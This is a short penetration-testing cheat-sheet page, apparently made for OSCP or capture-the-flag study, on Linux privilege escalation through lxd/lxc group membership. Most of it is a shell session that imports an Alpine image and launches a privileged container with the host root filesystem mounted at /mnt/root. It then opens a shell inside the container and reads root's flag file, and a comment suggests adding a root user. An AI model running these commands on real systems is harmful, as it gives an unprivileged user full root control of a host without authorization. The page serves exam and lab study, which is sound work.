Groups Lxd Lxc

Membership of the lxd (or lxc) group is effectively root: a member can start a container, mount the host filesystem into it, and read/write host files as root.

#linux privilege escalation#adot8

source · oscp.adot8.com · linux-privilege-escalation/groups_lxd-lxc ↗

LXD/LXC

Membership of the lxd (or lxc) group is effectively root: a member can start a container, mount the host filesystem into it, and read/write host files as root.

🐺 howlsec@kalibash

$# confirm membership
$id            # look for the lxd / lxc group
$ 
$# import a tiny image (Alpine) — build once with distrobuilder, or import a prebuilt tar
$lxc image import ./alpine.tar.gz --alias privesc
$lxc image list
$ 
$# launch a privileged container with the host disk mounted
$lxc init privesc r00t -c security.privileged=true
$lxc config device add r00t host disk source=/ path=/mnt/root recursive=true
$lxc start r00t
$lxc exec r00t /bin/sh
$ 
$# inside the container, the host fs is at /mnt/root — read flags or add a root user
$cat /mnt/root/root/root.txt

If lxd isn't initialised yet, run lxd init first (accept defaults). Reference: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation